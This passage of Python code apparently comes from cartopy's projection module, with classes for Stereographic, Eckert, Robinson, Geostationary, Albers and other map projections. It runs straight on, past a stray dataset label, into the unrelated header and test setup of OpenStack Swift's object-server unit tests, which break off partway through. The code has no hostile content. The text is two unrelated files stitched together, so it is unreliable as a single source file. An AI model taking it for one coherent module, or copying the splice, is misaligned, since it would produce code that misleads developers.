[('proj', 'laea'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('x_0', false_easting), ('y_0', false_northing)] super(LambertAzimuthalEqualArea, self).__init__(proj4_params, globe=globe) a = np.float(self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) # Find the antipode, and shift it a small amount in latitude to # approximate the extent of the projection: lon = central_longitude + 180 sign = np.sign(central_latitude) or 1 lat = -central_latitude + sign * 0.01 x, max_y = self.transform_point(lon, lat, PlateCarree()) coords = _ellipse_boundary(a * 1.9999, max_y - false_northing, false_easting, false_northing, 61) self._boundary = sgeom.polygon.LinearRing(coords.T) mins = np.min(coords, axis=1) maxs = np.max(coords, axis=1) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] self._threshold = np.diff(self._x_limits)[0] * 1e-3 @property def boundary(self): return self._boundary @property def threshold(self): return self._threshold @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class Miller(_RectangularProjection): _handles_ellipses = False def __init__(self, central_longitude=0.0, globe=None): if globe is None: globe = Globe(semimajor_axis=math.degrees(1), ellipse=None) # TODO: Let the globe return the semimajor axis always. a = np.float(globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) proj4_params = [('proj', 'mill'), ('lon_0', central_longitude)] # See Snyder, 1987. Eqs (11-1) and (11-2) substituting maximums of # (lambda-lambda0)=180 and phi=90 to get limits. super(Miller, self).__init__(proj4_params, a * np.pi, a * 2.303412543376391, globe=globe) @property def threshold(self): return 0.5 class RotatedPole(_CylindricalProjection): """ A rotated latitude/longitude projected coordinate system with cylindrical topology and projected distance. Coordinates are measured in projection metres. The class uses proj to perform an ob_tran operation, using the pole_longitude to set a lon_0 then performing two rotations based on pole_latitude and central_rotated_longitude. This is equivalent to setting the new pole to a location defined by the pole_latitude and pole_longitude values in the GeogCRS defined by globe, then rotating this new CRS about it's pole using the central_rotated_longitude value. """ def __init__(self, pole_longitude=0.0, pole_latitude=90.0, central_rotated_longitude=0.0, globe=None): """ Parameters ---------- pole_longitude: optional Pole longitude position, in unrotated degrees. Defaults to 0. pole_latitude: optional Pole latitude position, in unrotated degrees. Defaults to 0. central_rotated_longitude: optional Longitude rotation about the new pole, in degrees. Defaults to 0. globe: optional An optional :class:`cartopy.crs.Globe`. Defaults to a "WGS84" datum. """ proj4_params = [('proj', 'ob_tran'), ('o_proj', 'latlon'), ('o_lon_p', central_rotated_longitude), ('o_lat_p', pole_latitude), ('lon_0', 180 + pole_longitude), ('to_meter', math.radians(1))] super(RotatedPole, self).__init__(proj4_params, 180, 90, globe=globe) @property def threshold(self): return 0.5 class Gnomonic(Projection): _handles_ellipses = False def __init__(self, central_latitude=0.0, central_longitude=0.0, globe=None): proj4_params = [('proj', 'gnom'), ('lat_0', central_latitude), ('lon_0', central_longitude)] super(Gnomonic, self).__init__(proj4_params, globe=globe) self._max = 5e7 @property def boundary(self): return sgeom.Point(0, 0).buffer(self._max).exterior @property def threshold(self): return 1e5 @property def x_limits(self): return (-self._max, self._max) @property def y_limits(self): return (-self._max, self._max) class Stereographic(Projection): def __init__(self, central_latitude=0.0, central_longitude=0.0, false_easting=0.0, false_northing=0.0, true_scale_latitude=None, scale_factor=None, globe=None): # Warn when using Stereographic with proj < 5.0.0 due to # incorrect transformation with lon_0=0 (see # https://github.com/OSGeo/proj.4/issues/194). if central_latitude == 0: if PROJ4_VERSION != (): if PROJ4_VERSION < (5, 0, 0): warnings.warn( 'The Stereographic projection in Proj older than ' '5.0.0 incorrectly transforms points when ' 'central_latitude=0. Use this projection with ' 'caution.', stacklevel=2) else: warnings.warn( 'Cannot determine Proj version. The Stereographic ' 'projection may be unreliable and should be used with ' 'caution.', stacklevel=2) proj4_params = [('proj', 'stere'), ('lat_0', central_latitude), ('lon_0', central_longitude), ('x_0', false_easting), ('y_0', false_northing)] if true_scale_latitude is not None: if central_latitude not in (-90., 90.): warnings.warn('"true_scale_latitude" parameter is only used ' 'for polar stereographic projections. Consider ' 'the use of "scale_factor" instead.', stacklevel=2) proj4_params.append(('lat_ts', true_scale_latitude)) if scale_factor is not None: if true_scale_latitude is not None: raise ValueError('It does not make sense to provide both ' '"scale_factor" and "true_scale_latitude". ' 'Ignoring "scale_factor".') else: proj4_params.append(('k_0', scale_factor)) super(Stereographic, self).__init__(proj4_params, globe=globe) # TODO: Let the globe return the semimajor axis always. a = np.float(self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) b = np.float(self.globe.semiminor_axis or WGS84_SEMIMINOR_AXIS) # Note: The magic number has been picked to maintain consistent # behaviour with a wgs84 globe. There is no guarantee that the scaling # should even be linear. x_axis_offset = 5e7 / WGS84_SEMIMAJOR_AXIS y_axis_offset = 5e7 / WGS84_SEMIMINOR_AXIS self._x_limits = (-a * x_axis_offset + false_easting, a * x_axis_offset + false_easting) self._y_limits = (-b * y_axis_offset + false_northing, b * y_axis_offset + false_northing) coords = _ellipse_boundary(self._x_limits[1], self._y_limits[1], false_easting, false_northing, 91) self._boundary = sgeom.LinearRing(coords.T) self._threshold = np.diff(self._x_limits)[0] * 1e-3 @property def boundary(self): return self._boundary @property def threshold(self): return self._threshold @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class NorthPolarStereo(Stereographic): def __init__(self, central_longitude=0.0, true_scale_latitude=None, globe=None): super(NorthPolarStereo, self).__init__( central_latitude=90, central_longitude=central_longitude, true_scale_latitude=true_scale_latitude, # None is +90 globe=globe) class SouthPolarStereo(Stereographic): def __init__(self, central_longitude=0.0, true_scale_latitude=None, globe=None): super(SouthPolarStereo, self).__init__( central_latitude=-90, central_longitude=central_longitude, true_scale_latitude=true_scale_latitude, # None is -90 globe=globe) class Orthographic(Projection): _handles_ellipses = False def __init__(self, central_longitude=0.0, central_latitude=0.0, globe=None): if PROJ4_VERSION != (): if (5, 0, 0) <= PROJ4_VERSION < (5, 1, 0): warnings.warn( 'The Orthographic projection in the v5.0.x series of Proj ' 'incorrectly transforms points. Use this projection with ' 'caution.', stacklevel=2) else: warnings.warn( 'Cannot determine Proj version. The Orthographic projection ' 'may be unreliable and should be used with caution.', stacklevel=2) proj4_params = [('proj', 'ortho'), ('lon_0', central_longitude), ('lat_0', central_latitude)] super(Orthographic, self).__init__(proj4_params, globe=globe) # TODO: Let the globe return the semimajor axis always. a = np.float(self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) # To stabilise the projection of geometries, we reduce the boundary by # a tiny fraction at the cost of the extreme edges. coords = _ellipse_boundary(a * 0.99999, a * 0.99999, n=61) self._boundary = sgeom.polygon.LinearRing(coords.T) mins = np.min(coords, axis=1) maxs = np.max(coords, axis=1) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] self._threshold = np.diff(self._x_limits)[0] * 0.02 @property def boundary(self): return self._boundary @property def threshold(self): return self._threshold @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class _WarpedRectangularProjection(six.with_metaclass(ABCMeta, Projection)): def __init__(self, proj4_params, central_longitude, false_easting=None, false_northing=None, globe=None): if false_easting is not None: proj4_params += [('x_0', false_easting)] if false_northing is not None: proj4_params += [('y_0', false_northing)] super(_WarpedRectangularProjection, self).__init__(proj4_params, globe=globe) # Obtain boundary points minlon, maxlon = self._determine_longitude_bounds(central_longitude) n = 91 lon = np.empty(2 * n + 1) lat = np.empty(2 * n + 1) lon[:n] = minlon lat[:n] = np.linspace(-90, 90, n) lon[n:2 * n] = maxlon lat[n:2 * n] = np.linspace(90, -90, n) lon[-1] = minlon lat[-1] = -90 points = self.transform_points(self.as_geodetic(), lon, lat) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] @property def boundary(self): return self._boundary @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class _Eckert(six.with_metaclass(ABCMeta, _WarpedRectangularProjection)): """ An Eckert projection. This class implements all the methods common to the Eckert family of projections. """ _handles_ellipses = False def __init__(self, central_longitude=0, false_easting=None, false_northing=None, globe=None): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. false_easting: float, optional X offset from planar origin in metres. Defaults to 0. false_northing: float, optional Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. .. note:: This projection does not handle elliptical globes. """ proj4_params = [('proj', self._proj_name), ('lon_0', central_longitude)] super(_Eckert, self).__init__(proj4_params, central_longitude, false_easting=false_easting, false_northing=false_northing, globe=globe) @property def threshold(self): return 1e5 class EckertI(_Eckert): """ An Eckert I projection. This projection is pseudocylindrical, but not equal-area. Both meridians and parallels are straight lines. Its equal-area pair is :class:`EckertII`. """ _proj_name = 'eck1' class EckertII(_Eckert): """ An Eckert II projection. This projection is pseudocylindrical, and equal-area. Both meridians and parallels are straight lines. Its non-equal-area pair with equally-spaced parallels is :class:`EckertI`. """ _proj_name = 'eck2' class EckertIII(_Eckert): """ An Eckert III projection. This projection is pseudocylindrical, but not equal-area. Parallels are equally-spaced straight lines, while meridians are elliptical arcs up to semicircles on the edges. Its equal-area pair is :class:`EckertIV`. """ _proj_name = 'eck3' class EckertIV(_Eckert): """ An Eckert IV projection. This projection is pseudocylindrical, and equal-area. Parallels are unequally-spaced straight lines, while meridians are elliptical arcs up to semicircles on the edges. Its non-equal-area pair with equally-spaced parallels is :class:`EckertIII`. It is commonly used for world maps. """ _proj_name = 'eck4' class EckertV(_Eckert): """ An Eckert V projection. This projection is pseudocylindrical, but not equal-area. Parallels are equally-spaced straight lines, while meridians are sinusoidal arcs. Its equal-area pair is :class:`EckertVI`. """ _proj_name = 'eck5' class EckertVI(_Eckert): """ An Eckert VI projection. This projection is pseudocylindrical, and equal-area. Parallels are unequally-spaced straight lines, while meridians are sinusoidal arcs. Its non-equal-area pair with equally-spaced parallels is :class:`EckertV`. It is commonly used for world maps. """ _proj_name = 'eck6' class EqualEarth(_WarpedRectangularProjection): u""" An Equal Earth projection. This projection is pseudocylindrical, and equal area. Parallels are unequally-spaced straight lines, while meridians are equally-spaced arcs. It is intended for world maps. Note ---- To use this projection, you must be using Proj 5.2.0 or newer. References ---------- Bojan \u0160avri\u010d, Tom Patterson & Bernhard Jenny (2018) The Equal Earth map projection, International Journal of Geographical Information Science, DOI: 10.1080/13658816.2018.1504949 """ def __init__(self, central_longitude=0, false_easting=None, false_northing=None, globe=None): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. false_easting: float, optional X offset from planar origin in metres. Defaults to 0. false_northing: float, optional Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. """ if PROJ4_VERSION < (5, 2, 0): raise ValueError('The EqualEarth projection requires Proj version ' '5.2.0, but you are using {}.' .format('.'.join(str(v) for v in PROJ4_VERSION))) proj_params = [('proj', 'eqearth'), ('lon_0', central_longitude)] super(EqualEarth, self).__init__(proj_params, central_longitude, false_easting=false_easting, false_northing=false_northing, globe=globe) @property def threshold(self): return 1e5 class Mollweide(_WarpedRectangularProjection): """ A Mollweide projection. This projection is pseudocylindrical, and equal area. Parallels are unequally-spaced straight lines, while meridians are elliptical arcs up to semicircles on the edges. Poles are points. It is commonly used for world maps, or interrupted with several central meridians. """ _handles_ellipses = False def __init__(self, central_longitude=0, globe=None, false_easting=None, false_northing=None): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. false_easting: float, optional X offset from planar origin in metres. Defaults to 0. false_northing: float, optional Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. .. note:: This projection does not handle elliptical globes. """ proj4_params = [('proj', 'moll'), ('lon_0', central_longitude)] super(Mollweide, self).__init__(proj4_params, central_longitude, false_easting=false_easting, false_northing=false_northing, globe=globe) @property def threshold(self): return 1e5 class Robinson(_WarpedRectangularProjection): """ A Robinson projection. This projection is pseudocylindrical, and a compromise that is neither equal-area nor conformal. Parallels are unequally-spaced straight lines, and meridians are curved lines of no particular form. It is commonly used for "visually-appealing" world maps. """ _handles_ellipses = False def __init__(self, central_longitude=0, globe=None, false_easting=None, false_northing=None): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. false_easting: float, optional X offset from planar origin in metres. Defaults to 0. false_northing: float, optional Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. .. note:: This projection does not handle elliptical globes. """ # Warn when using Robinson with proj 4.8 due to discontinuity at # 40 deg N introduced by incomplete fix to issue #113 (see # https://github.com/OSGeo/proj.4/issues/113). if PROJ4_VERSION != (): if (4, 8) <= PROJ4_VERSION < (4, 9): warnings.warn('The Robinson projection in the v4.8.x series ' 'of Proj contains a discontinuity at ' '40 deg latitude. Use this projection with ' 'caution.', stacklevel=2) else: warnings.warn('Cannot determine Proj version. The Robinson ' 'projection may be unreliable and should be used ' 'with caution.', stacklevel=2) proj4_params = [('proj', 'robin'), ('lon_0', central_longitude)] super(Robinson, self).__init__(proj4_params, central_longitude, false_easting=false_easting, false_northing=false_northing, globe=globe) @property def threshold(self): return 1e4 def transform_point(self, x, y, src_crs): """ Capture and handle any input NaNs, else invoke parent function, :meth:`_WarpedRectangularProjection.transform_point`. Needed because input NaNs can trigger a fatal error in the underlying implementation of the Robinson projection. Note ---- Although the original can in fact translate (nan, lat) into (nan, y-value), this patched version doesn't support that. """ if np.isnan(x) or np.isnan(y): result = (np.nan, np.nan) else: result = super(Robinson, self).transform_point(x, y, src_crs) return result def transform_points(self, src_crs, x, y, z=None): """ Capture and handle NaNs in input points -- else as parent function, :meth:`_WarpedRectangularProjection.transform_points`. Needed because input NaNs can trigger a fatal error in the underlying implementation of the Robinson projection. Note ---- Although the original can in fact translate (nan, lat) into (nan, y-value), this patched version doesn't support that. Instead, we invalidate any of the points that contain a NaN. """ input_point_nans = np.isnan(x) | np.isnan(y) if z is not None: input_point_nans |= np.isnan(z) handle_nans = np.any(input_point_nans) if handle_nans: # Remove NaN points from input data to avoid the error. x[input_point_nans] = 0.0 y[input_point_nans] = 0.0 if z is not None: z[input_point_nans] = 0.0 result = super(Robinson, self).transform_points(src_crs, x, y, z) if handle_nans: # Result always has shape (N, 3). # Blank out each (whole) point where we had a NaN in the input. result[input_point_nans] = np.nan return result class InterruptedGoodeHomolosine(Projection): def __init__(self, central_longitude=0, globe=None): proj4_params = [('proj', 'igh'), ('lon_0', central_longitude)] super(InterruptedGoodeHomolosine, self).__init__(proj4_params, globe=globe) minlon, maxlon = self._determine_longitude_bounds(central_longitude) epsilon = 1e-10 # Obtain boundary points n = 31 top_interrupted_lons = (-40.0,) bottom_interrupted_lons = (80.0, -20.0, -100.0) lons = np.empty( (2 + 2 * len(top_interrupted_lons + bottom_interrupted_lons)) * n + 1) lats = np.empty( (2 + 2 * len(top_interrupted_lons + bottom_interrupted_lons)) * n + 1) end = 0 # Left boundary lons[end:end + n] = minlon lats[end:end + n] = np.linspace(-90, 90, n) end += n # Top boundary for lon in top_interrupted_lons: lons[end:end + n] = lon - epsilon + central_longitude lats[end:end + n] = np.linspace(90, 0, n) end += n lons[end:end + n] = lon + epsilon + central_longitude lats[end:end + n] = np.linspace(0, 90, n) end += n # Right boundary lons[end:end + n] = maxlon lats[end:end + n] = np.linspace(90, -90, n) end += n # Bottom boundary for lon in bottom_interrupted_lons: lons[end:end + n] = lon + epsilon + central_longitude lats[end:end + n] = np.linspace(-90, 0, n) end += n lons[end:end + n] = lon - epsilon + central_longitude lats[end:end + n] = np.linspace(0, -90, n) end += n # Close loop lons[-1] = minlon lats[-1] = -90 points = self.transform_points(self.as_geodetic(), lons, lats) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] @property def boundary(self): return self._boundary @property def threshold(self): return 2e4 @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class _Satellite(Projection): def __init__(self, projection, satellite_height=35785831, central_longitude=0.0, central_latitude=0.0, false_easting=0, false_northing=0, globe=None, sweep_axis=None): proj4_params = [('proj', projection), ('lon_0', central_longitude), ('lat_0', central_latitude), ('h', satellite_height), ('x_0', false_easting), ('y_0', false_northing), ('units', 'm')] if sweep_axis: proj4_params.append(('sweep', sweep_axis)) super(_Satellite, self).__init__(proj4_params, globe=globe) def _set_boundary(self, coords): self._boundary = sgeom.LinearRing(coords.T) mins = np.min(coords, axis=1) maxs = np.max(coords, axis=1) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] self._threshold = np.diff(self._x_limits)[0] * 0.02 @property def boundary(self): return self._boundary @property def threshold(self): return self._threshold @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class Geostationary(_Satellite): """ A view appropriate for satellites in Geostationary Earth orbit. Perspective view looking directly down from above a point on the equator. In this projection, the projected coordinates are scanning angles measured from the satellite looking directly downward, multiplied by the height of the satellite. """ def __init__(self, central_longitude=0.0, satellite_height=35785831, false_easting=0, false_northing=0, globe=None, sweep_axis='y'): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. satellite_height: float, optional The height of the satellite. Defaults to 35785831 meters (true geostationary orbit). false_easting: X offset from planar origin in metres. Defaults to 0. false_northing: Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. sweep_axis: 'x' or 'y', optional. Defaults to 'y'. Controls which axis is scanned first, and thus which angle is applied first. The default is appropriate for Meteosat, while 'x' should be used for GOES. """ super(Geostationary, self).__init__( projection='geos', satellite_height=satellite_height, central_longitude=central_longitude, central_latitude=0.0, false_easting=false_easting, false_northing=false_northing, globe=globe, sweep_axis=sweep_axis) # TODO: Let the globe return the semimajor axis always. a = np.float(self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) h = np.float(satellite_height) # These are only exact for a spherical Earth, owing to assuming a is # constant. Handling elliptical would be much harder for this. sin_max_th = a / (a + h) tan_max_th = a / np.sqrt((a + h) ** 2 - a ** 2) # Using Napier's rules for right spherical triangles # See R2 and R6 (x and y coords are h * b and h * a, respectively): # https://en.wikipedia.org/wiki/Spherical_trigonometry t = np.linspace(0, -2 * np.pi, 61) # Clockwise boundary. coords = np.vstack([np.arctan(tan_max_th * np.cos(t)), np.arcsin(sin_max_th * np.sin(t))]) coords *= h coords += np.array([[false_easting], [false_northing]]) self._set_boundary(coords) class NearsidePerspective(_Satellite): """ Perspective view looking directly down from above a point on the globe. In this projection, the projected coordinates are x and y measured from the origin of a plane tangent to the Earth directly below the perspective point (e.g. a satellite). """ _handles_ellipses = False def __init__(self, central_longitude=0.0, central_latitude=0.0, satellite_height=35785831, false_easting=0, false_northing=0, globe=None): """ Parameters ---------- central_longitude: float, optional The central longitude. Defaults to 0. central_latitude: float, optional The central latitude. Defaults to 0. satellite_height: float, optional The height of the satellite. Defaults to 35785831 meters (true geostationary orbit). false_easting: X offset from planar origin in metres. Defaults to 0. false_northing: Y offset from planar origin in metres. Defaults to 0. globe: :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. .. note:: This projection does not handle elliptical globes. """ super(NearsidePerspective, self).__init__( projection='nsper', satellite_height=satellite_height, central_longitude=central_longitude, central_latitude=central_latitude, false_easting=false_easting, false_northing=false_northing, globe=globe) # TODO: Let the globe return the semimajor axis always. a = self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS h = np.float(satellite_height) max_x = a * np.sqrt(h / (2 * a + h)) coords = _ellipse_boundary(max_x, max_x, false_easting, false_northing, 61) self._set_boundary(coords) class AlbersEqualArea(Projection): """ An Albers Equal Area projection This projection is conic and equal-area, and is commonly used for maps of the conterminous United States. """ def __init__(self, central_longitude=0.0, central_latitude=0.0, false_easting=0.0, false_northing=0.0, standard_parallels=(20.0, 50.0), globe=None): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to 0. central_latitude: optional The central latitude. Defaults to 0. false_easting: optional X offset from planar origin in metres. Defaults to 0. false_northing: optional Y offset from planar origin in metres. Defaults to 0. standard_parallels: optional The one or two latitudes of correct scale. Defaults to (20, 50). globe: optional A :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ proj4_params = [('proj', 'aea'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('x_0', false_easting), ('y_0', false_northing)] if standard_parallels is not None: try: proj4_params.append(('lat_1', standard_parallels[0])) try: proj4_params.append(('lat_2', standard_parallels[1])) except IndexError: pass except TypeError: proj4_params.append(('lat_1', standard_parallels)) super(AlbersEqualArea, self).__init__(proj4_params, globe=globe) # bounds minlon, maxlon = self._determine_longitude_bounds(central_longitude) n = 103 lons = np.empty(2 * n + 1) lats = np.empty(2 * n + 1) tmp = np.linspace(minlon, maxlon, n) lons[:n] = tmp lats[:n] = 90 lons[n:-1] = tmp[::-1] lats[n:-1] = -90 lons[-1] = lons[0] lats[-1] = lats[0] points = self.transform_points(self.as_geodetic(), lons, lats) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] @property def boundary(self): return self._boundary @property def threshold(self): return 1e5 @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class AzimuthalEquidistant(Projection): """ An Azimuthal Equidistant projection This projection provides accurate angles about and distances through the central position. Other angles, distances, or areas may be distorted. """ def __init__(self, central_longitude=0.0, central_latitude=0.0, false_easting=0.0, false_northing=0.0, globe=None): """ Parameters ---------- central_longitude: optional The true longitude of the central meridian in degrees. Defaults to 0. central_latitude: optional The true latitude of the planar origin in degrees. Defaults to 0. false_easting: optional X offset from the planar origin in metres. Defaults to 0. false_northing: optional Y offset from the planar origin in metres. Defaults to 0. globe: optional An instance of :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ # Warn when using Azimuthal Equidistant with proj < 4.9.2 due to # incorrect transformation past 90 deg distance (see # https://github.com/OSGeo/proj.4/issues/246). if PROJ4_VERSION != (): if PROJ4_VERSION < (4, 9, 2): warnings.warn('The Azimuthal Equidistant projection in Proj ' 'older than 4.9.2 incorrectly transforms points ' 'farther than 90 deg from the origin. Use this ' 'projection with caution.', stacklevel=2) else: warnings.warn('Cannot determine Proj version. The Azimuthal ' 'Equidistant projection may be unreliable and ' 'should be used with caution.', stacklevel=2) proj4_params = [('proj', 'aeqd'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('x_0', false_easting), ('y_0', false_northing)] super(AzimuthalEquidistant, self).__init__(proj4_params, globe=globe) # TODO: Let the globe return the semimajor axis always. a = np.float(self.globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) b = np.float(self.globe.semiminor_axis or a) coords = _ellipse_boundary(a * np.pi, b * np.pi, false_easting, false_northing, 61) self._boundary = sgeom.LinearRing(coords.T) mins = np.min(coords, axis=1) maxs = np.max(coords, axis=1) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] @property def boundary(self): return self._boundary @property def threshold(self): return 1e5 @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class Sinusoidal(Projection): """ A Sinusoidal projection. This projection is equal-area. """ def __init__(self, central_longitude=0.0, false_easting=0.0, false_northing=0.0, globe=None): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to 0. false_easting: optional X offset from planar origin in metres. Defaults to 0. false_northing: optional Y offset from planar origin in metres. Defaults to 0. globe: optional A :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ proj4_params = [('proj', 'sinu'), ('lon_0', central_longitude), ('x_0', false_easting), ('y_0', false_northing)] super(Sinusoidal, self).__init__(proj4_params, globe=globe) # Obtain boundary points minlon, maxlon = self._determine_longitude_bounds(central_longitude) points = [] n = 91 lon = np.empty(2 * n + 1) lat = np.empty(2 * n + 1) lon[:n] = minlon lat[:n] = np.linspace(-90, 90, n) lon[n:2 * n] = maxlon lat[n:2 * n] = np.linspace(90, -90, n) lon[-1] = minlon lat[-1] = -90 points = self.transform_points(self.as_geodetic(), lon, lat) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] self._threshold = max(np.abs(self.x_limits + self.y_limits)) * 1e-5 @property def boundary(self): return self._boundary @property def threshold(self): return self._threshold @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits # MODIS data products use a Sinusoidal projection of a spherical Earth # https://modis-land.gsfc.nasa.gov/GCTP.html Sinusoidal.MODIS = Sinusoidal(globe=Globe(ellipse=None, semimajor_axis=6371007.181, semiminor_axis=6371007.181)) class EquidistantConic(Projection): """ An Equidistant Conic projection. This projection is conic and equidistant, and the scale is true along all meridians and along one or two specified standard parallels. """ def __init__(self, central_longitude=0.0, central_latitude=0.0, false_easting=0.0, false_northing=0.0, standard_parallels=(20.0, 50.0), globe=None): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to 0. central_latitude: optional The true latitude of the planar origin in degrees. Defaults to 0. false_easting: optional X offset from planar origin in metres. Defaults to 0. false_northing: optional Y offset from planar origin in metres. Defaults to 0. standard_parallels: optional The one or two latitudes of correct scale. Defaults to (20, 50). globe: optional A :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ proj4_params = [('proj', 'eqdc'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('x_0', false_easting), ('y_0', false_northing)] if standard_parallels is not None: try: proj4_params.append(('lat_1', standard_parallels[0])) try: proj4_params.append(('lat_2', standard_parallels[1])) except IndexError: pass except TypeError: proj4_params.append(('lat_1', standard_parallels)) super(EquidistantConic, self).__init__(proj4_params, globe=globe) # bounds n = 103 lons = np.empty(2 * n + 1) lats = np.empty(2 * n + 1) minlon, maxlon = self._determine_longitude_bounds(central_longitude) tmp = np.linspace(minlon, maxlon, n) lons[:n] = tmp lats[:n] = 90 lons[n:-1] = tmp[::-1] lats[n:-1] = -90 lons[-1] = lons[0] lats[-1] = lats[0] points = self.transform_points(self.as_geodetic(), lons, lats) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] @property def boundary(self): return self._boundary @property def threshold(self): return 1e5 @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class _BoundaryPoint(object): def __init__(self, distance, kind, data): """ A representation for a geometric object which is connected to the boundary. Parameters ---------- distance: float The distance along the boundary that this object can be found. kind: bool Whether this object represents a point from the pre-computed boundary. data: point or namedtuple The actual data that this boundary object represents. """ self.distance = distance self.kind = kind self.data = data def __repr__(self): return '_BoundaryPoint(%r, %r, %s)' % (self.distance, self.kind, self.data) def _find_first_ge(a, x): for v in a: if v.distance >= x: return v # We've gone all the way around, so pick the first point again. return a[0] def epsg(code): """ Return the projection which corresponds to the given EPSG code. The EPSG code must correspond to a "projected coordinate system", so EPSG codes such as 4326 (WGS-84) which define a "geodetic coordinate system" will not work. Note ---- The conversion is performed by querying https://epsg.io/ so a live internet connection is required. """ import cartopy._epsg return cartopy._epsg._EPSGProjection(code)
codeparrot/github-code-clean
# coding: utf-8 # Copyright (c) 2010-2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for swift.obj.server""" import six.moves.cPickle as pickle import datetime import json import errno import operator import os import mock import six from six import StringIO import unittest import math import random from shutil import rmtree from time import gmtime, strftime, time, struct_time from tempfile import mkdtemp from hashlib import md5 import tempfile from collections import defaultdict from contextlib import contextmanager from eventlet import sleep, spawn, wsgi, listen, Timeout, tpool, greenthread from eventlet.green import httplib from nose import SkipTest from swift import __version__ as swift_version from swift.common.http import is_success from test.unit import FakeLogger, debug_logger, mocked_http_conn, \ make_timestamp_iter, DEFAULT_TEST_EC_TYPE from test.unit import connect_tcp, readuntil2crlfs, patch_policies from swift.obj import server as object_server from swift.obj import updater from swift.obj import diskfile from swift.common import utils, bufferedhttp from swift.common.header_key_dict import HeaderKeyDict from swift.common.utils import hash_path, mkdirs, normalize_timestamp, \ NullLogger, storage_directory, public, replication, encode_timestamps, \ Timestamp from swift.common import constraints from swift.common.swob import Request, WsgiBytesIO from swift.common.splice import splice from swift.common.storage_policy import (StoragePolicy, ECStoragePolicy, POLICIES, EC_POLICY) from swift.common.exceptions import DiskFileDeviceUnavailable, DiskFileNoSpace def mock_time(*args, **kwargs): return 5000.0 test_policies = [ StoragePolicy(0, name='zero', is_default=True), ECStoragePolicy(1, name='one', ec_type=DEFAULT_TEST_EC_TYPE, ec_ndata=10, ec_nparity=4), ] @contextmanager def fake_spawn(): """ Spawn and capture the result so we can later wait on it. This means we can test code executing in a greenthread but still wait() on the result to ensure that the method has completed. """ greenlets = [] def _inner_fake_spawn(func, *a, **kw): gt = greenthread.spawn(func, *a, **kw) greenlets.append(gt) return gt object_server.spawn = _inner_fake_spawn with mock.patch('swift.obj.server.spawn', _inner_fake_spawn): try: yield finally: for gt in greenlets: gt.wait() @patch_policies(test_policies) class TestObjectController(unittest.TestCase): """Test swift.obj.server.ObjectController""" def setUp(self): """Set up for testing swift.object.server.ObjectController""" utils.HASH_PATH_SUFFIX = 'endcap' utils.HASH_PATH_PREFIX = 'startcap' self.tmpdir = mkdtemp() self.testdir = os.path.join(self.tmpdir, 'tmp_test_object_server_ObjectController') mkdirs(os.path.join(self.testdir, 'sda1')) self.conf = {'devices': self.testdir, 